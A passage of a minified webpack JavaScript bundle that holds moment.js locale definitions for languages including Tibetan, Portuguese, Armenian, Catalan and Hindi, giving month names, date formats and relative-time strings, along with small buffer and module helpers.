h:mm"},calendar:{sameDay:"[\u0f51\u0f72\u0f0b\u0f62\u0f72\u0f44] LT",nextDay:"[\u0f66\u0f44\u0f0b\u0f49\u0f72\u0f53] LT",nextWeek:"[\u0f56\u0f51\u0f74\u0f53\u0f0b\u0f55\u0fb2\u0f42\u0f0b\u0f62\u0f97\u0f7a\u0f66\u0f0b\u0f58], LT",lastDay:"[\u0f41\u0f0b\u0f66\u0f44] LT",lastWeek:"[\u0f56\u0f51\u0f74\u0f53\u0f0b\u0f55\u0fb2\u0f42\u0f0b\u0f58\u0f50\u0f60\u0f0b\u0f58] dddd, LT",sameElse:"L"},relativeTime:{future:"%s \u0f63\u0f0b",past:"%s \u0f66\u0f94\u0f53\u0f0b\u0f63",s:"\u0f63\u0f58\u0f0b\u0f66\u0f44",ss:"%d \u0f66\u0f90\u0f62\u0f0b\u0f46\u0f0d",m:"\u0f66\u0f90\u0f62\u0f0b\u0f58\u0f0b\u0f42\u0f45\u0f72\u0f42",mm:"%d \u0f66\u0f90\u0f62\u0f0b\u0f58",h:"\u0f46\u0f74\u0f0b\u0f5a\u0f7c\u0f51\u0f0b\u0f42\u0f45\u0f72\u0f42",hh:"%d \u0f46\u0f74\u0f0b\u0f5a\u0f7c\u0f51",d:"\u0f49\u0f72\u0f53\u0f0b\u0f42\u0f45\u0f72\u0f42",dd:"%d \u0f49\u0f72\u0f53\u0f0b",M:"\u0f5f\u0fb3\u0f0b\u0f56\u0f0b\u0f42\u0f45\u0f72\u0f42",MM:"%d \u0f5f\u0fb3\u0f0b\u0f56",y:"\u0f63\u0f7c\u0f0b\u0f42\u0f45\u0f72\u0f42",yy:"%d \u0f63\u0f7c"},preparse:function(e){return e.replace(/[\u0f21\u0f22\u0f23\u0f24\u0f25\u0f26\u0f27\u0f28\u0f29\u0f20]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/\u0f58\u0f5a\u0f53\u0f0b\u0f58\u0f7c|\u0f5e\u0f7c\u0f42\u0f66\u0f0b\u0f40\u0f66|\u0f49\u0f72\u0f53\u0f0b\u0f42\u0f74\u0f44|\u0f51\u0f42\u0f7c\u0f44\u0f0b\u0f51\u0f42|\u0f58\u0f5a\u0f53\u0f0b\u0f58\u0f7c/,meridiemHour:function(e,t){return 12===e&&(e=0),"\u0f58\u0f5a\u0f53\u0f0b\u0f58\u0f7c"===t&&e>=4||"\u0f49\u0f72\u0f53\u0f0b\u0f42\u0f74\u0f44"===t&&e<5||"\u0f51\u0f42\u0f7c\u0f44\u0f0b\u0f51\u0f42"===t?e+12:e},meridiem:function(e,t,n){return e<4?"\u0f58\u0f5a\u0f53\u0f0b\u0f58\u0f7c":e<10?"\u0f5e\u0f7c\u0f42\u0f66\u0f0b\u0f40\u0f66":e<17?"\u0f49\u0f72\u0f53\u0f0b\u0f42\u0f74\u0f44":e<20?"\u0f51\u0f42\u0f7c\u0f44\u0f0b\u0f51\u0f42":"\u0f58\u0f5a\u0f53\u0f0b\u0f58\u0f7c"},week:{dow:0,doy:6}})}(n("wd/R"))},"0tRk":function(e,t,n){!function(e){"use strict";e.defineLocale("pt-br",{months:"janeiro_fevereiro_mar\xe7o_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro".split("_"),monthsShort:"jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez".split("_"),weekdays:"domingo_segunda-feira_ter\xe7a-feira_quarta-feira_quinta-feira_sexta-feira_s\xe1bado".split("_"),weekdaysShort:"dom_seg_ter_qua_qui_sex_s\xe1b".split("_"),weekdaysMin:"do_2\xaa_3\xaa_4\xaa_5\xaa_6\xaa_s\xe1".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY [\xe0s] HH:mm",LLLL:"dddd, D [de] MMMM [de] YYYY [\xe0s] HH:mm"},calendar:{sameDay:"[Hoje \xe0s] LT",nextDay:"[Amanh\xe3 \xe0s] LT",nextWeek:"dddd [\xe0s] LT",lastDay:"[Ontem \xe0s] LT",lastWeek:function(){return 0===this.day()||6===this.day()?"[\xdaltimo] dddd [\xe0s] LT":"[\xdaltima] dddd [\xe0s] LT"},sameElse:"L"},relativeTime:{future:"em %s",past:"h\xe1 %s",s:"poucos segundos",ss:"%d segundos",m:"um minuto",mm:"%d minutos",h:"uma hora",hh:"%d horas",d:"um dia",dd:"%d dias",M:"um m\xeas",MM:"%d meses",y:"um ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}\xba/,ordinal:"%d\xba",invalidDate:"Data inv\xe1lida"})}(n("wd/R"))},"1ppg":function(e,t,n){!function(e){"use strict";e.defineLocale("fil",{months:"Enero_Pebrero_Marso_Abril_Mayo_Hunyo_Hulyo_Agosto_Setyembre_Oktubre_Nobyembre_Disyembre".split("_"),monthsShort:"Ene_Peb_Mar_Abr_May_Hun_Hul_Ago_Set_Okt_Nob_Dis".split("_"),weekdays:"Linggo_Lunes_Martes_Miyerkules_Huwebes_Biyernes_Sabado".split("_"),weekdaysShort:"Lin_Lun_Mar_Miy_Huw_Biy_Sab".split("_"),weekdaysMin:"Li_Lu_Ma_Mi_Hu_Bi_Sab".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"MM/D/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY HH:mm",LLLL:"dddd, MMMM DD, YYYY HH:mm"},calendar:{sameDay:"LT [ngayong araw]",nextDay:"[Bukas ng] LT",nextWeek:"LT [sa susunod na] dddd",lastDay:"LT [kahapon]",lastWeek:"LT [noong nakaraang] dddd",sameElse:"L"},relativeTime:{future:"sa loob ng %s",past:"%s ang nakalipas",s:"ilang segundo",ss:"%d segundo",m:"isang minuto",mm:"%d minuto",h:"isang oras",hh:"%d oras",d:"isang araw",dd:"%d araw",M:"isang buwan",MM:"%d buwan",y:"isang taon",yy:"%d taon"},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:function(e){return e},week:{dow:1,doy:4}})}(n("wd/R"))},"1rYy":function(e,t,n){!function(e){"use strict";e.defineLocale("hy-am",{months:{format:"\u0570\u0578\u0582\u0576\u057e\u0561\u0580\u056b_\u0583\u0565\u057f\u0580\u057e\u0561\u0580\u056b_\u0574\u0561\u0580\u057f\u056b_\u0561\u057a\u0580\u056b\u056c\u056b_\u0574\u0561\u0575\u056b\u057d\u056b_\u0570\u0578\u0582\u0576\u056b\u057d\u056b_\u0570\u0578\u0582\u056c\u056b\u057d\u056b_\u0585\u0563\u0578\u057d\u057f\u0578\u057d\u056b_\u057d\u0565\u057a\u057f\u0565\u0574\u0562\u0565\u0580\u056b_\u0570\u0578\u056f\u057f\u0565\u0574\u0562\u0565\u0580\u056b_\u0576\u0578\u0575\u0565\u0574\u0562\u0565\u0580\u056b_\u0564\u0565\u056f\u057f\u0565\u0574\u0562\u0565\u0580\u056b".split("_"),standalone:"\u0570\u0578\u0582\u0576\u057e\u0561\u0580_\u0583\u0565\u057f\u0580\u057e\u0561\u0580_\u0574\u0561\u0580\u057f_\u0561\u057a\u0580\u056b\u056c_\u0574\u0561\u0575\u056b\u057d_\u0570\u0578\u0582\u0576\u056b\u057d_\u0570\u0578\u0582\u056c\u056b\u057d_\u0585\u0563\u0578\u057d\u057f\u0578\u057d_\u057d\u0565\u057a\u057f\u0565\u0574\u0562\u0565\u0580_\u0570\u0578\u056f\u057f\u0565\u0574\u0562\u0565\u0580_\u0576\u0578\u0575\u0565\u0574\u0562\u0565\u0580_\u0564\u0565\u056f\u057f\u0565\u0574\u0562\u0565\u0580".split("_")},monthsShort:"\u0570\u0576\u057e_\u0583\u057f\u0580_\u0574\u0580\u057f_\u0561\u057a\u0580_\u0574\u0575\u057d_\u0570\u0576\u057d_\u0570\u056c\u057d_\u0585\u0563\u057d_\u057d\u057a\u057f_\u0570\u056f\u057f_\u0576\u0574\u0562_\u0564\u056f\u057f".split("_"),weekdays:"\u056f\u056b\u0580\u0561\u056f\u056b_\u0565\u0580\u056f\u0578\u0582\u0577\u0561\u0562\u0569\u056b_\u0565\u0580\u0565\u0584\u0577\u0561\u0562\u0569\u056b_\u0579\u0578\u0580\u0565\u0584\u0577\u0561\u0562\u0569\u056b_\u0570\u056b\u0576\u0563\u0577\u0561\u0562\u0569\u056b_\u0578\u0582\u0580\u0562\u0561\u0569_\u0577\u0561\u0562\u0561\u0569".split("_"),weekdaysShort:"\u056f\u0580\u056f_\u0565\u0580\u056f_\u0565\u0580\u0584_\u0579\u0580\u0584_\u0570\u0576\u0563_\u0578\u0582\u0580\u0562_\u0577\u0562\u0569".split("_"),weekdaysMin:"\u056f\u0580\u056f_\u0565\u0580\u056f_\u0565\u0580\u0584_\u0579\u0580\u0584_\u0570\u0576\u0563_\u0578\u0582\u0580\u0562_\u0577\u0562\u0569".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY \u0569.",LLL:"D MMMM YYYY \u0569., HH:mm",LLLL:"dddd, D MMMM YYYY \u0569., HH:mm"},calendar:{sameDay:"[\u0561\u0575\u057d\u0585\u0580] LT",nextDay:"[\u057e\u0561\u0572\u0568] LT",lastDay:"[\u0565\u0580\u0565\u056f] LT",nextWeek:function(){return"dddd [\u0585\u0580\u0568 \u056a\u0561\u0574\u0568] LT"},lastWeek:function(){return"[\u0561\u0576\u0581\u0561\u056e] dddd [\u0585\u0580\u0568 \u056a\u0561\u0574\u0568] LT"},sameElse:"L"},relativeTime:{future:"%s \u0570\u0565\u057f\u0578",past:"%s \u0561\u057c\u0561\u057b",s:"\u0574\u056b \u0584\u0561\u0576\u056b \u057e\u0561\u0575\u0580\u056f\u0575\u0561\u0576",ss:"%d \u057e\u0561\u0575\u0580\u056f\u0575\u0561\u0576",m:"\u0580\u0578\u057a\u0565",mm:"%d \u0580\u0578\u057a\u0565",h:"\u056a\u0561\u0574",hh:"%d \u056a\u0561\u0574",d:"\u0585\u0580",dd:"%d \u0585\u0580",M:"\u0561\u0574\u056b\u057d",MM:"%d \u0561\u0574\u056b\u057d",y:"\u057f\u0561\u0580\u056b",yy:"%d \u057f\u0561\u0580\u056b"},meridiemParse:/\u0563\u056b\u0577\u0565\u0580\u057e\u0561|\u0561\u057c\u0561\u057e\u0578\u057f\u057e\u0561|\u0581\u0565\u0580\u0565\u056f\u057e\u0561|\u0565\u0580\u0565\u056f\u0578\u0575\u0561\u0576/,isPM:function(e){return/^(\u0581\u0565\u0580\u0565\u056f\u057e\u0561|\u0565\u0580\u0565\u056f\u0578\u0575\u0561\u0576)$/.test(e)},meridiem:function(e){return e<4?"\u0563\u056b\u0577\u0565\u0580\u057e\u0561":e<12?"\u0561\u057c\u0561\u057e\u0578\u057f\u057e\u0561":e<17?"\u0581\u0565\u0580\u0565\u056f\u057e\u0561":"\u0565\u0580\u0565\u056f\u0578\u0575\u0561\u0576"},dayOfMonthOrdinalParse:/\d{1,2}|\d{1,2}-(\u056b\u0576|\u0580\u0564)/,ordinal:function(e,t){switch(t){case"DDD":case"w":case"W":case"DDDo":return 1===e?e+"-\u056b\u0576":e+"-\u0580\u0564";default:return e}},week:{dow:1,doy:7}})}(n("wd/R"))},"1xZ4":function(e,t,n){!function(e){"use strict";e.defineLocale("ca",{months:{standalone:"gener_febrer_mar\xe7_abril_maig_juny_juliol_agost_setembre_octubre_novembre_desembre".split("_"),format:"de gener_de febrer_de mar\xe7_d'abril_de maig_de juny_de juliol_d'agost_de setembre_d'octubre_de novembre_de desembre".split("_"),isFormat:/D[oD]?(\s)+MMMM/},monthsShort:"gen._febr._mar\xe7_abr._maig_juny_jul._ag._set._oct._nov._des.".split("_"),monthsParseExact:!0,weekdays:"diumenge_dilluns_dimarts_dimecres_dijous_divendres_dissabte".split("_"),weekdaysShort:"dg._dl._dt._dc._dj._dv._ds.".split("_"),weekdaysMin:"dg_dl_dt_dc_dj_dv_ds".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM [de] YYYY",ll:"D MMM YYYY",LLL:"D MMMM [de] YYYY [a les] H:mm",lll:"D MMM YYYY, H:mm",LLLL:"dddd D MMMM [de] YYYY [a les] H:mm",llll:"ddd D MMM YYYY, H:mm"},calendar:{sameDay:function(){return"[avui a "+(1!==this.hours()?"les":"la")+"] LT"},nextDay:function(){return"[dem\xe0 a "+(1!==this.hours()?"les":"la")+"] LT"},nextWeek:function(){return"dddd [a "+(1!==this.hours()?"les":"la")+"] LT"},lastDay:function(){return"[ahir a "+(1!==this.hours()?"les":"la")+"] LT"},lastWeek:function(){return"[el] dddd [passat a "+(1!==this.hours()?"les":"la")+"] LT"},sameElse:"L"},relativeTime:{future:"d'aqu\xed %s",past:"fa %s",s:"uns segons",ss:"%d segons",m:"un minut",mm:"%d minuts",h:"una hora",hh:"%d hores",d:"un dia",dd:"%d dies",M:"un mes",MM:"%d mesos",y:"un any",yy:"%d anys"},dayOfMonthOrdinalParse:/\d{1,2}(r|n|t|\xe8|a)/,ordinal:function(e,t){var n=1===e?"r":2===e?"n":3===e?"r":4===e?"t":"\xe8";return"w"!==t&&"W"!==t||(n="a"),e+n},week:{dow:1,doy:4}})}(n("wd/R"))},"2fjn":function(e,t,n){!function(e){"use strict";e.defineLocale("fr-ca",{months:"janvier_f\xe9vrier_mars_avril_mai_juin_juillet_ao\xfbt_septembre_octobre_novembre_d\xe9cembre".split("_"),monthsShort:"janv._f\xe9vr._mars_avr._mai_juin_juil._ao\xfbt_sept._oct._nov._d\xe9c.".split("_"),monthsParseExact:!0,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd\u2019hui \xe0] LT",nextDay:"[Demain \xe0] LT",nextWeek:"dddd [\xe0] LT",lastDay:"[Hier \xe0] LT",lastWeek:"dddd [dernier \xe0] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|e)/,ordinal:function(e,t){switch(t){default:case"M":case"Q":case"D":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return e+(1===e?"re":"e")}}})}(n("wd/R"))},"2ykv":function(e,t,n){!function(e){"use strict";var t="jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.".split("_"),n="jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec".split("_"),a=[/^jan/i,/^feb/i,/^maart|mrt.?$/i,/^apr/i,/^mei$/i,/^jun[i.]?$/i,/^jul[i.]?$/i,/^aug/i,/^sep/i,/^okt/i,/^nov/i,/^dec/i],r=/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i;e.defineLocale("nl-be",{months:"januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december".split("_"),monthsShort:function(e,a){return e?/-MMM-/.test(a)?n[e.month()]:t[e.month()]:t},monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december)/i,monthsShortStrictRegex:/^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i,monthsParse:a,longMonthsParse:a,shortMonthsParse:a,weekdays:"zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag".split("_"),weekdaysShort:"zo._ma._di._wo._do._vr._za.".split("_"),weekdaysMin:"zo_ma_di_wo_do_vr_za".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[vandaag om] LT",nextDay:"[morgen om] LT",nextWeek:"dddd [om] LT",lastDay:"[gisteren om] LT",lastWeek:"[afgelopen] dddd [om] LT",sameElse:"L"},relativeTime:{future:"over %s",past:"%s geleden",s:"een paar seconden",ss:"%d seconden",m:"\xe9\xe9n minuut",mm:"%d minuten",h:"\xe9\xe9n uur",hh:"%d uur",d:"\xe9\xe9n dag",dd:"%d dagen",M:"\xe9\xe9n maand",MM:"%d maanden",y:"\xe9\xe9n jaar",yy:"%d jaar"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(n("wd/R"))},"3/ER":function(e,t,n){"use strict";(function(e){var a=n("Ju5/"),r="object"==typeof exports&&exports&&!exports.nodeType&&exports,i=r&&"object"==typeof e&&e&&!e.nodeType&&e,s=i&&i.exports===r?a.a.Buffer:void 0,o=s?s.allocUnsafe:void 0;t.a=function(e,t){if(t)return e.slice();var n=e.length,a=o?o(n):new e.constructor(n);return e.copy(a),a}}).call(this,n("3UD+")(e))},"3E1r":function(e,t,n){!function(e){"use strict";var t={1:"\u0967",2:"\u0968",3:"\u0969",4:"\u096a",5:"\u096b",6:"\u096c",7:"\u096d",8:"\u096e",9:"\u096f",0:"\u0966"},n={"\u0967":"1","\u0968":"2","\u0969":"3","\u096a":"4","\u096b":"5","\u096c":"6","\u096d":"7","\u096e":"8","\u096f":"9","\u0966":"0"},a=[/^\u091c\u0928/i,/^\u092b\u093c\u0930|\u092b\u0930/i,/^\u092e\u093e\u0930\u094d\u091a/i,/^\u0905\u092a\u094d\u0930\u0948/i,/^\u092e\u0908/i,/^\u091c\u0942\u0928/i,/^\u091c\u0941\u0932/i,/^\u0905\u0917/i,/^\u0938\u093f\u0924\u0902|\u0938\u093f\u0924/i,/^\u0905\u0915\u094d\u091f\u0942/i,/^\u0928\u0935|\u0928\u0935\u0902/i,/^\u0926\u093f\u0938\u0902|\u0926\u093f\u0938/i];e.defineLocale("hi",{months:{format:"\u091c\u0928\u0935\u0930\u0940_\u092b\u093c\u0930\u0935\u0930\u0940_\u092e\u093e\u0930\u094d\u091a_\u0905\u092a\u094d\u0930\u0948\u0932_\u092e\u0908_\u091c\u0942\u0928_\u091c\u0941\u0932\u093e\u0908_\u0905\u0917\u0938\u094d\u0924_\u0938\u093f\u0924\u092e\u094d\u092c\u0930_\u0905\u0915\u094d\u091f\u0942\u092c\u0930_\u0928\u0935\u092e\u094d\u092c\u0930_\u0926\u093f\u0938\u092e\u094d\u092c\u0930".split("_"),standalone:"\u091c\u0928\u0935\u0930\u0940_\u092b\u0930\u0935\u0930\u0940_\u092e\u093e\u0930\u094d\u091a_\u0905\u092a\u094d\u0930\u0948\u0932_\u092e\u0908_\u091c\u0942\u0928_\u091c\u0941\u0932\u093e\u0908_\u0905\u0917\u0938\u094d\u0924_\u0938\u093f\u0924\u0902\u092c\u0930_\u0905\u0915\u094d\u091f\u0942\u092c\u0930_\u0928\u0935\u0902\u092c\u0930_\u0926\u093f\u0938\u0902\u092c\u0930".split("_")},monthsShort:"\u091c\u0928._\u092b\u093c\u0930._\u092e\u093e\u0930\u094d\u091a_\u0905\u092a\u094d\u0930\u0948._\u092e\u0908_\u091c\u0942\u0928_\u091c\u0941\u0932._\u0905\u0917._\u0938\u093f\u0924._\u0905\u0915\u094d\u091f\u0942._\u0928\u0935._\u0926\u093f\u0938.".split("_"),weekdays:"\u0930\u0935\u093f\u0935\u093e\u0930_\u0938\u094b\u092e\u0935\u093e\u0930_\u092e\u0902\u0917\u0932\u0935\u093e\u0930_\u092c\u0941\u0927\u0935\u093e\u0930_\u0917\u0941\u0930\u0942\u0935\u093e\u0930_\u0936\u0941\u0915\u094d\u0930\u0935\u093e\u0930_\u0936\u0928\u093f\u0935\u093e\u0930".split("_"),weekdaysShort:"\u0930\u0935\u093f_\u0938\u094b\u092e_\u092e\u0902\u0917\u0932_\u092c\u0941\u0927_\u0917\u0941\u0930\u0942_\u0936\u0941\u0915\u094d\u0930_\u0936\u0928\u093f".split("_"),weekdaysMin:"\u0930_\u0938\u094b_\u092e\u0902_\u092c\u0941_\u0917\u0941_\u0936\u0941_\u0936".split("_"),longDateFormat:{LT:"A h:mm \u092c\u091c\u0947",LTS:"A h:mm:ss \u092c\u091c\u0947",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm \u092c\u091c\u0947",LLLL:"dddd, D MMMM YYYY, A h:mm \u092c\u091c\u0947"},monthsParse:a,longMonthsParse:a,shortMonthsParse:[/^\u091c\u0928/i,/^\u092b\u093c\u0930/i,/^\u092e\u093e\u0930\u094d\u091a/i,/^\u0905\u092a\u094d\u0930\u0948/i,/^\u092e\u0908/i,/^\u091c\u0942\u0928/i,/^\u091c\u0941\u0932/i,/^\u0905\u0917/i,/^\u0938\u093f\u0924/i,/^\u0905\u0915\u094d\u091f\u0942/i,/^\u0928\u0935/i,/^\u0926\u093f\u0938/i],monthsRegex:/^(\u091c\u0928\u0935\u0930\u0940|\u091c\u0928\.?|\u092b\u093c\u0930\u0935\u0930\u0940|\u092b\u0930\u0935\u0930\u0940|\u092b\u093c\u0930\.?|\u092e\u093e\u0930\u094d\u091a?|\u0905\u092a\u094d\u0930\u0948\u0932|\u0905\u092a\u094d\u0930\u0948\.?|\u092e\u0908?|\u091c\u0942\u0928?|\u091c\u0941\u0932\u093e\u0908|\u091c\u0941\u0932\.?|\u0905\u0917\u0938\u094d\u0924|\u0905\u0917\.?|\u0938\u093f\u0924\u092e\u094d\u092c\u0930|\u0938\u093f\u0924\u0902\u092c\u0930|\u0938\u093f\u0924\.?|\u0905\u0915\u094d\u091f\u0942\u092c\u0930|\u0905\u0915\u094d\u091f\u0942\.?|\u0928\u0935\u092e\u094d\u092c\u0930|\u0928\u0935\u0902\u092c\u0930|\u0928\u0935\.?|\u0926\u093f\u0938\u092e\u094d\u092c\u0930|\u0926\u093f\u0938\u0902\u092c\u0930|\u0926\u093f\u0938\.?)/i,monthsShortRegex:/^(\u091c\u0928\u0935\u0930\u0940|\u091c\u0928\.?|\u092b\u093c\u0930\u0935\u0930\u0940|\u092b\u0930\u0935\u0930\u0940|\u092b\u093c\u0930\.?|\u092e\u093e\u0930\u094d\u091a?|\u0905\u092a\u094d\u0930\u0948\u0932|\u0905\u092a\u094d\u0930\u0948\.?|\u092e\u0908?|\u091c\u0942\u0928?|\u091c\u0941\u0932\u093e\u0908|\u091c\u0941\u0932\.?|\u0905\u0917\u0938\u094d\u0924|\u0905\u0917\.?|\u0938\u093f\u0924\u092e\u094d\u092c\u0930|\u0938\u093f\u0924\u0902\u092c\u0930|\u0938\u093f\u0924\.?|\u0905\u0915\u094d\u091f\u0942\u092c\u0930|\u0905\u0915\u094d\u091f\u0942\.?|\u0928\u0935\u092e\u094d\u092c\u0930|\u0928\u0935\u0902\u092c\u0930|\u0928\u0935\.?|\u0926\u093f\u0938\u092e\u094d\u092c\u0930|\u0926\u093f\u0938\u0902\u092c\u0930|\u0926\u093f\u0938\.?)/i,monthsStrictRegex:/^(\u091c\u0928\u0935\u0930\u0940?|\u092b\u093c\u0930\u0935\u0930\u0940|\u092b\u0930\u0935\u0930\u0940?|\u092e\u093e\u0930\u094d\u091a?|\u0905\u092a\u094d\u0930\u0948\u0932?|\u092e\u0908?|\u091c\u0942\u0928?|\u091c\u0941\u0932\u093e\u0908?|\u0905\u0917\u0938\u094d\u0924?|\u0938\u093f\u0924\u092e\u094d\u092c\u0930|\u0938\u093f\u0924\u0902\u092c\u0930|\u0938\u093f\u0924?\.?|\u0905\u0915\u094d\u091f\u0942\u092c\u0930|\u0905\u0915\u094d\u091f\u0942\.?|\u0928\u0935\u092e\u094d\u092c\u0930|\u0928\u0935\u0902\u092c\u0930?|\u0926\u093f\u0938\u092e\u094d\u092c\u0930|\u0926\u093f\u0938\u0902\u092c\u0930?)/i,monthsShortStrictRegex:/^(\u091c\u0928\.?|\u092b\u093c\u0930\.?|\u092e\u093e\u0930\u094d\u091a?|\u0905\u092a\u094d\u0930\u0948\.?|\u092e\u0908?|\u091c\u0942\u0928?|\u091c\u0941\u0932\.?|\u0905\u0917\.?|\u0938\u093f\u0924\.?|\u0905\u0915\u094d\u091f\u0942\.?|\u0928\u0935\.?|\u0926\u093f\u0938\.?)/i,calendar:{sameDay:"[\u0906\u091c] LT",nextDay:"[\u0915\u0932] LT",nextWeek:"dddd, LT",lastDay:"[\u0915\u0932] LT",lastWeek:"[\u092a\u093f\u091b\u0932\u0947] dddd, LT",sameElse:"L"},relativeTime:{future:"%s \u092e\u0947\u0902",past:"%s \u092a\u0939\u0932\u0947",s:"\u0915\u0941\u091b \u0939\u0940 \u0915\u094d\u0937\u0923",ss:"%d \u0938\u0947\u0915\u0902\u0921",m:"\u090f\u0915 \u092e\u093f\u0928\u091f",mm:"%d \u092e\u093f\u0928\u091f",h:"\u090f\u0915 \u0918\u0902\u091f\u093e",hh:"%d \u0918\u0902\u091f\u0947",d:"\u090f\u0915 \u0926\u093f\u0928",dd:"%d \u0926\u093f\u0928",M:"\u090f\u0915 \u092e\u0939\u0940\u0928\u0947",MM:"%d \u092e\u0939\u0940\u0928\u0947",y:"\u090f\u0915 \u0935\u0930\u094d\u0937",yy:"%d \u0935\u0930\u094d\u0937"},preparse:function(e){return e.replace(/[\u0967\u0968\u0969\u096a\u096b\u096c\u096d\u096e\u096f\u0966]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/\u0930\u093e\u0924|\u0938\u0941\u092c\u0939|\u0926\u094b\u092a\u0939\u0930|\u0936\u093e\u092e/,meridiemHour:function(e,t){return 12===e&&(e=0),"\u0930\u093e\u0924"===t?e<4?e:e+12:"\u0938\u0941\u092c\u0939"===t?e:"\u0926\u094b\u092a\u0939\u0930"===t?e>=10?e:e+12:"\u0936\u093e\u092e"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"\u0930\u093e\u0924":e<10?"\u0938\u0941\u092c\u0939":e<17?"\u0926\u094b\u092a\u0939\u0930":e<20?"\u0936\u093e\u092e":"\u0930\u093e\u0924"},week:{dow:0,doy:6}})}(n("wd/R"))},"3UD+":function(e,t){e.exports=function(e){if(!e.webpackPolyfill){var t=Object.create(e);t.children||(t.children=[]),Object.defineProperty(t,"loaded",{enumerable:!0,get:function(){return t.l}}),Object.defineProperty(t,"id",{enumerable:!0,get:function(){return t.i}}),Object.defineProperty(t,"exports",{enumerable:!0}),t.webpackPolyfill=1}return t}},"4MV3":function(e,t,n){!function(e){"use strict";var t={1:"\u0ae7",2:"\u0ae8",3:"\u0ae9",4:"\u0aea",5:"\u0aeb",6:"\u0aec",7:"\u0aed",8:"\u0aee",9:"\u0aef",0:"\u0ae6"},n={"\u0ae7":"1","\u0ae8":"2","\u0ae9":"3","\u0aea":"4","\u0aeb":"5","\u0aec":"6","\u0aed":"7","\u0aee":"8","\u0aef":"9","\u0ae6":"0"};e.defineLocale("gu",{months:"\u0a9c\u0abe\u0aa8\u0acd\u0aaf\u0ac1\u0a86\u0ab0\u0ac0_\u0aab\u0ac7\u0aac\u0acd\u0ab0\u0ac1\u0a86\u0ab0\u0ac0_\u0aae\u0abe\u0ab0\u0acd\u0a9a_\u0a8f\u0aaa\u0acd\u0ab0\u0abf\u0ab2_\u0aae\u0ac7_\u0a9c\u0ac2\u0aa8_\u0a9c\u0ac1\u0ab2\u0abe\u0a88_\u0a91\u0a97\u0ab8\u0acd\u0a9f_\u0ab8\u0aaa\u0acd\u0a9f\u0ac7\u0aae\u0acd\u0aac\u0ab0_\u0a91\u0a95\u0acd\u0a9f\u0acd\u0aac\u0ab0_\u0aa8\u0ab5\u0ac7\u0aae\u0acd\u0aac\u0ab0_\u0aa1\u0abf\u0ab8\u0ac7\u0aae\u0acd\u0aac\u0ab0".split("_"),monthsShort:"\u0a9c\u0abe\u0aa8\u0acd\u0aaf\u0ac1._\u0aab\u0ac7\u0aac\u0acd\u0ab0\u0ac1._\u0aae\u0abe\u0ab0\u0acd\u0a9a_\u0a8f\u0aaa\u0acd\u0ab0\u0abf._\u0aae\u0ac7_\u0a9c\u0ac2\u0aa8_\u0a9c\u0ac1\u0ab2\u0abe._\u0a91\u0a97._\u0ab8\u0aaa\u0acd\u0a9f\u0ac7._\u0a91\u0a95\u0acd\u0a9f\u0acd._\u0aa8\u0ab5\u0ac7._\u0aa1\u0abf\u0ab8\u0ac7.".split("_"),monthsParseExact:!0,weekdays:"\u0ab0\u0ab5\u0abf\u0ab5\u0abe\u0ab0_\u0ab8\u0acb\u0aae\u0ab5\u0abe\u0ab0_\u0aae\u0a82\u0a97\u0ab3\u0ab5\u0abe\u0ab0_\u0aac\u0ac1\u0aa7\u0acd\u0ab5\u0abe\u0ab0_\u0a97\u0ac1\u0ab0\u0ac1\u0ab5\u0abe\u0ab0_\u0ab6\u0ac1\u0a95\u0acd\u0ab0\u0ab5\u0abe\u0ab0_\u0ab6\u0aa8\u0abf\u0ab5\u0abe\u0ab0".split("_"),w